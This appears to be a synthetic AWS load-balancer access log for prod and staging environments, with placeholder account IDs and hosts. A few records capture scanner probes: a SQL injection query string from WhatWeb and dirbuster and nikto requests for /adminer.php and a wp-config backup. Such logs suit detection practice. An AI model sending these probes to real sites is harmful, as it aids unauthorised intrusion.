10.0.59.201:443 0.037123 0.483022 0.055083 301 301 595 12599 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd4d-b3fcef9371c642c5994fc7ec" "prod-api-alb.example.com" "-" 10 2024-11-01T00:24:29.934284Z "forward" "-" "-" "10.0.59.201:443" "301" "-" "-" +https 2024-11-01T00:24:31.012250Z prod-web-alb 42.80.175.143:60984 10.0.80.21:443 0.013692 0.427753 0.002628 404 404 988 8551 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd4f-940fda3ce36a4f7aa916fd62" "prod-web-alb.example.com" "-" 5 2024-11-01T00:24:31.012250Z "forward" "-" "-" "10.0.80.21:443" "404" "-" "-" +https 2024-11-01T00:24:31.349841Z prod-web-alb 241.126.162.72:10429 10.0.216.216:443 0.012570 0.445865 0.099781 302 302 226 10014 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd4f-ac976a39bcfd4437ab89d96f" "prod-web-alb.example.com" "-" 3 2024-11-01T00:24:31.349841Z "forward" "-" "-" "10.0.216.216:443" "302" "-" "-" +https 2024-11-01T00:24:32.240231Z prod-api-alb 188.211.222.128:14583 10.0.211.14:443 0.093988 0.140746 0.096953 200 200 588 9525 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd50-23c4cd0781734a1dbe1e9ab1" "prod-api-alb.example.com" "-" 3 2024-11-01T00:24:32.240231Z "forward" "-" "-" "10.0.211.14:443" "200" "-" "-" +https 2024-11-01T00:24:32.879552Z prod-web-alb 34.7.26.207:44120 10.0.33.174:443 0.094828 0.316489 0.084016 301 301 522 13223 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd50-9a08f0fb16d3425cba4d06d5" "prod-web-alb.example.com" "-" 9 2024-11-01T00:24:32.879552Z "forward" "-" "-" "10.0.33.174:443" "301" "-" "-" +https 2024-11-01T00:24:33.669407Z prod-api-alb 133.164.176.243:44223 10.0.198.111:443 0.091357 0.485385 0.042217 404 404 174 447 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd51-1089026794554f6c84ad946b" "-" "-" 3 2024-11-01T00:24:33.669407Z "forward" "-" "-" "10.0.198.111:443" "404" "-" "-" +http 2024-11-01T00:24:35.286956Z staging-alb 116.104.76.184:17647 194.141.74.241:443 0.031779 0.702465 0.088926 301 301 417 4805 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd53-0de88f256aa44bbd9406a3e9" "staging-alb.example.com" "-" 8 2024-11-01T00:24:35.286956Z "forward" "-" "-" "194.141.74.241:443" "301" "-" "-" +https 2024-11-01T00:24:36.930126Z staging-alb 181.240.243.35:44898 200.98.176.21:80 0.009026 0.546304 0.024057 200 200 308 5958 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd54-144bedd06738460faf470fc5" "staging-alb.example.com" "-" 8 2024-11-01T00:24:36.930126Z "forward" "-" "-" "200.98.176.21:80" "200" "-" "-" +https 2024-11-01T00:24:37.041790Z prod-api-alb 54.65.174.228:38260 10.0.121.73:443 0.029332 0.141997 0.085173 200 200 587 8302 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd55-bf811543da7245e99d597262" "prod-api-alb.example.com" "-" 8 2024-11-01T00:24:37.041790Z "forward" "-" "-" "10.0.121.73:443" "200" "-" "-" +https 2024-11-01T00:24:37.847230Z prod-api-alb 69.154.207.214:14489 10.0.248.183:443 0.046075 0.443716 0.011566 200 200 93 9673 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd55-03febb9273f84b9b914f0d99" "prod-api-alb.example.com" "-" 8 2024-11-01T00:24:37.847230Z "forward" "-" "-" "10.0.248.183:443" "200" "-" "-" +https 2024-11-01T00:24:39.396167Z prod-api-alb 20.255.90.225:38781 10.0.151.167:443 0.046591 0.319747 0.090946 200 200 711 11992 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd57-fe9ae18f49fa408a87b8384c" "prod-api-alb.example.com" "-" 5 2024-11-01T00:24:39.396167Z "forward" "-" "-" "10.0.151.167:443" "200" "-" "-" +https 2024-11-01T00:24:40.036695Z prod-api-alb 78.80.68.149:29920 10.0.227.49:443 0.004134 0.326967 0.077572 200 200 98 2112 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd58-3fbe9a3eb4184b9aa0d89625" "prod-api-alb.example.com" "-" 8 2024-11-01T00:24:40.036695Z "forward" "-" "-" "10.0.227.49:443" "200" "-" "-" +https 2024-11-01T00:24:41.194663Z staging-alb 26.253.232.51:39555 35.127.70.242:8080 0.119087 0.318510 0.046529 200 200 29 4411 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd59-71460f38e51d47cca2c5e47d" "staging-alb.example.com" "-" 4 2024-11-01T00:24:41.194663Z "forward" "-" "-" "35.127.70.242:8080" "200" "-" "-" +https 2024-11-01T00:24:41.515778Z prod-api-alb 221.192.207.136:56176 10.0.245.233:443 0.071206 0.249152 0.011921 200 200 290 4371 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd59-ec93959d41814e9db9ed4709" "prod-api-alb.example.com" "-" 0 2024-11-01T00:24:41.515778Z "forward" "-" "-" "10.0.245.233:443" "200" "-" "-" +https 2024-11-01T00:24:42.481762Z prod-web-alb 185.181.183.244:18287 10.0.157.186:443 0.062152 0.210633 0.079324 200 200 370 784 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd5a-9b8b4ef1a26a46158ffb69c8" "-" "-" 0 2024-11-01T00:24:42.481762Z "forward" "-" "-" "10.0.157.186:443" "200" "-" "-" +https 2024-11-01T00:24:43.399125Z prod-web-alb 110.22.116.143:24409 10.0.18.191:443 0.039463 0.414434 0.067437 200 200 564 8073 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd5b-35ece151281e453cbcf3fe35" "prod-web-alb.example.com" "-" 0 2024-11-01T00:24:43.399125Z "forward" "-" "-" "10.0.18.191:443" "200" "-" "-" +https 2024-11-01T00:24:44.988136Z prod-api-alb 95.195.233.110:55688 10.0.241.253:443 0.041458 0.157977 0.085987 302 302 371 13073 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd5c-9b0a5f34a694402ca9480124" "prod-api-alb.example.com" "-" 6 2024-11-01T00:24:44.988136Z "forward" "-" "-" "10.0.241.253:443" "302" "-" "-" +https 2024-11-01T00:24:45.919769Z prod-web-alb 254.120.40.109:35707 10.0.251.33:443 0.048260 0.417909 0.045398 302 302 10 9478 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd5d-e6293744944d443e89cad325" "prod-web-alb.example.com" "-" 7 2024-11-01T00:24:45.919769Z "forward" "-" "-" "10.0.251.33:443" "302" "-" "-" +https 2024-11-01T00:24:47.453033Z prod-web-alb 187.109.134.5:22738 10.0.82.18:443 0.074243 0.435816 0.037626 301 301 290 9945 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd5f-281abc6211f14baba3ef7773" "prod-web-alb.example.com" "-" 3 2024-11-01T00:24:47.453033Z "forward" "-" "-" "10.0.82.18:443" "301" "-" "-" +https 2024-11-01T00:24:48.339609Z prod-web-alb 162.198.94.170:40767 10.0.250.78:443 0.017583 0.076963 0.014095 301 301 318 12268 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd60-e4677fbee0cd4cc0b846020a" "prod-web-alb.example.com" "-" 6 2024-11-01T00:24:48.339609Z "forward" "-" "-" "10.0.250.78:443" "301" "-" "-" +https 2024-11-01T00:24:49.734052Z staging-alb 160.40.21.15:12713 118.194.110.43:443 0.038740 0.578295 0.025385 200 200 686 12769 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd61-bc2ab910cc81447b9b80cc0b" "staging-alb.example.com" "-" 4 2024-11-01T00:24:49.734052Z "forward" "-" "-" "118.194.110.43:443" "200" "-" "-" +https 2024-11-01T00:24:50.673142Z prod-web-alb 201.19.53.99:40944 10.0.14.210:443 0.057738 0.194566 0.032900 301 301 311 959 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd62-91d8bbe663f544e79f18bfff" "prod-web-alb.example.com" "-" 2 2024-11-01T00:24:50.673142Z "forward" "-" "-" "10.0.14.210:443" "301" "-" "-" +https 2024-11-01T00:24:52.229762Z prod-api-alb 161.238.218.238:32260 10.0.98.57:443 0.013166 0.044633 0.066511 302 302 33 615 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd64-e7567afda0214aa39161a07f" "prod-api-alb.example.com" "-" 0 2024-11-01T00:24:52.229762Z "forward" "-" "-" "10.0.98.57:443" "302" "-" "-" +https 2024-11-01T00:24:53.500539Z prod-api-alb 172.6.182.249:46289 10.0.116.119:443 0.001251 0.345479 0.062059 301 301 832 9748 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd65-67e35e0bacb14d5aa3da2fce" "prod-api-alb.example.com" "-" 10 2024-11-01T00:24:53.500539Z "forward" "-" "-" "10.0.116.119:443" "301" "-" "-" +https 2024-11-01T00:24:54.760832Z prod-web-alb 70.216.134.157:36315 10.0.11.69:443 0.010677 0.009323 0.013847 200 200 687 4714 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd66-7bec86a8a8e5437fa140240c" "prod-web-alb.example.com" "-" 10 2024-11-01T00:24:54.760832Z "forward" "-" "-" "10.0.11.69:443" "200" "-" "-" +https 2024-11-01T00:24:55.998495Z prod-web-alb 7.122.236.120:61339 10.0.178.75:443 0.025922 0.394990 0.044162 200 200 836 8190 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd67-48d0789bade243a3b067c922" "prod-web-alb.example.com" "-" 2 2024-11-01T00:24:55.998495Z "forward" "-" "-" "10.0.178.75:443" "200" "-" "-" +https 2024-11-01T00:24:56.640462Z prod-api-alb 185.181.73.18:21753 10.0.196.98:443 0.060017 0.305146 0.026533 401 401 354 7577 "POST /adminer.php HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd68-374e255e35d74aad81368a1e" "-" "-" 5 2024-11-01T00:24:56.640462Z "forward" "-" "-" "10.0.196.98:443" "401" "-" "-" +https 2024-11-01T00:24:57.502782Z prod-web-alb 185.181.55.98:59674 10.0.135.41:443 0.076227 0.365475 0.053871 301 301 98 1248 "POST /wp-config.php.bak HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd69-adced114cf7f4941884a0a30" "-" "-" 8 2024-11-01T00:24:57.502782Z "forward" "-" "-" "10.0.135.41:443" "301" "-" "-" +http 2024-11-01T00:24:58.270585Z staging-alb 254.224.186.196:24786 243.213.12.195:443 0.058324 0.195756 0.131415 302 302 301 12549 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd6a-6e35c40a606d4072a9ca29e7" "staging-alb.example.com" "-" 2 2024-11-01T00:24:58.270585Z "forward" "-" "-" "243.213.12.195:443" "302" "-" "-" +http 2024-11-01T00:24:59.536312Z staging-alb 148.124.202.164:17944 188.55.122.198:8080 0.103270 0.571955 0.043486 200 200 639 14305 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd6b-b6970c4080144f24b086d8e2" "staging-alb.example.com" "-" 2 2024-11-01T00:24:59.536312Z "forward" "-" "-" "188.55.122.198:8080" "200" "-" "-" +https 2024-11-01T00:25:00.459808Z staging-alb 80.161.22.72:59069 66.39.204.26:443 0.067463 0.037080 0.103692 302 302 654 8468 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd6c-14d85221074d4ed29a979f78" "staging-alb.example.com" "-" 9 2024-11-01T00:25:00.459808Z "forward" "-" "-" "66.39.204.26:443" "302" "-" "-" +https 2024-11-01T00:25:01.114976Z prod-api-alb 201.225.0.177:40846 10.0.70.133:443 0.055842 0.210086 0.067128 302 302 81 6922 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd6d-d24928fa99d5423fb057e833" "prod-api-alb.example.com" "-" 3 2024-11-01T00:25:01.114976Z "forward" "-" "-" "10.0.70.133:443" "302" "-" "-" +https 2024-11-01T00:25:02.503284Z prod-web-alb 216.80.253.54:25941 10.0.197.97:443 0.085775 0.424599 0.014764 200 200 825 7060 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd6e-c961b51497c5483a838505e8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:25:02.503284Z "forward" "-" "-" "10.0.197.97:443" "200" "-" "-" +https 2024-11-01T00:25:04.195197Z prod-web-alb 238.6.111.104:16341 10.0.142.162:443 0.004121 0.222105 0.058232 200 200 944 11791 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd70-8c6c2f8bef5742c68d71dcd3" "prod-web-alb.example.com" "-" 4 2024-11-01T00:25:04.195197Z "forward" "-" "-" "10.0.142.162:443" "200" "-" "-" +https 2024-11-01T00:25:05.246028Z prod-api-alb 176.197.104.156:59300 10.0.126.205:443 0.052361 0.151845 0.016452 302 302 353 12908 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd71-820b3d85390a4b18b554582f" "prod-api-alb.example.com" "-" 9 2024-11-01T00:25:05.246028Z "forward" "-" "-" "10.0.126.205:443" "302" "-" "-" +https 2024-11-01T00:25:06.821339Z prod-api-alb 189.237.174.68:63050 10.0.234.24:443 0.086108 0.478637 0.051671 302 302 183 8443 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd72-eaa8fb2afc2d4c88ac24ee8e" "prod-api-alb.example.com" "-" 4 2024-11-01T00:25:06.821339Z "forward" "-" "-" "10.0.234.24:443" "302" "-" "-" +https 2024-11-01T00:25:07.391052Z prod-api-alb 28.123.54.32:58018 10.0.215.54:443 0.008602 0.132367 0.029118 301 301 515 11245 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd73-401482289d9542e9a6f17798" "prod-api-alb.example.com" "-" 6 2024-11-01T00:25:07.391052Z "forward" "-" "-" "10.0.215.54:443" "301" "-" "-" +https 2024-11-01T00:25:09.009133Z prod-web-alb 192.250.0.156:12212 10.0.153.128:443 0.019214 0.315557 0.099933 200 200 675 9599 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd75-24dee4bcf66944efb45682db" "prod-web-alb.example.com" "-" 9 2024-11-01T00:25:09.009133Z "forward" "-" "-" "10.0.153.128:443" "200" "-" "-" +http 2024-11-01T00:25:09.632546Z staging-alb 250.81.53.250:16087 143.89.106.112:443 0.093031 0.604936 0.004379 200 200 889 10543 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd75-c8240d98724547c0a881316a" "staging-alb.example.com" "-" 7 2024-11-01T00:25:09.632546Z "forward" "-" "-" "143.89.106.112:443" "200" "-" "-" +https 2024-11-01T00:25:11.221767Z prod-api-alb 221.2.48.48:29548 10.0.112.70:443 0.089518 0.267121 0.065620 301 301 807 12175 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd77-564ce10da54945c09db6d5b0" "prod-api-alb.example.com" "-" 2 2024-11-01T00:25:11.221767Z "forward" "-" "-" "10.0.112.70:443" "301" "-" "-" +http 2024-11-01T00:25:12.175305Z staging-alb 81.70.34.8:26316 251.64.15.95:443 0.048968 0.258592 0.131039 200 200 302 5723 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd78-e136746daac544a6a07bc6f3" "staging-alb.example.com" "-" 9 2024-11-01T00:25:12.175305Z "forward" "-" "-" "251.64.15.95:443" "200" "-" "-" +https 2024-11-01T00:25:13.735188Z prod-api-alb 87.18.165.159:50989 10.0.148.197:443 0.024825 0.306210 0.077767 200 200 822 12678 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd79-1c18be6430a84c63b8c1545b" "prod-api-alb.example.com" "-" 4 2024-11-01T00:25:13.735188Z "forward" "-" "-" "10.0.148.197:443" "200" "-" "-" +https 2024-11-01T00:25:14.455433Z prod-web-alb 126.235.176.94:50185 10.0.54.74:443 0.062946 0.339191 0.044211 200 200 112 1857 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd7a-e011e1a33d514376a9b41c23" "prod-web-alb.example.com" "-" 9 2024-11-01T00:25:14.455433Z "forward" "-" "-" "10.0.54.74:443" "200" "-" "-" +https 2024-11-01T00:25:15.921583Z prod-api-alb 141.175.241.15:35796 10.0.179.150:443 0.001969 0.378798 0.084237 200 200 355 1279 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd7b-c5a46c6077484bbc8b97d4d8" "prod-api-alb.example.com" "-" 10 2024-11-01T00:25:15.921583Z "forward" "-" "-" "10.0.179.150:443" "200" "-" "-" +https 2024-11-01T00:25:17.545836Z prod-web-alb 136.224.57.158:29762 10.0.140.41:443 0.086838 0.483451 0.006199 302 302 95 1133 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd7d-6677b32fa9074b4385523dbc" "prod-web-alb.example.com" "-" 8 2024-11-01T00:25:17.545836Z "forward" "-" "-" "10.0.140.41:443" "302" "-" "-" +https 2024-11-01T00:25:17.854686Z prod-api-alb 194.215.17.158:63463 10.0.248.201:443 0.081966 0.135427 0.070252 200 200 970 7362 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd7d-6633ec5155274f37b7cdea96" "prod-api-alb.example.com" "-" 4 2024-11-01T00:25:17.854686Z "forward" "-" "-" "10.0.248.201:443" "200" "-" "-" +https 2024-11-01T00:25:19.189461Z prod-api-alb 15.163.215.9:61069 10.0.95.85:443 0.031660 0.072434 0.076468 301 301 120 726 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd7f-50a8f8799d734f96b9a437fc" "prod-api-alb.example.com" "-" 2 2024-11-01T00:25:19.189461Z "forward" "-" "-" "10.0.95.85:443" "301" "-" "-" +https 2024-11-01T00:25:20.330118Z staging-alb 28.176.230.167:31069 208.146.252.77:443 0.072572 0.465611 0.021403 200 200 965 9474 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 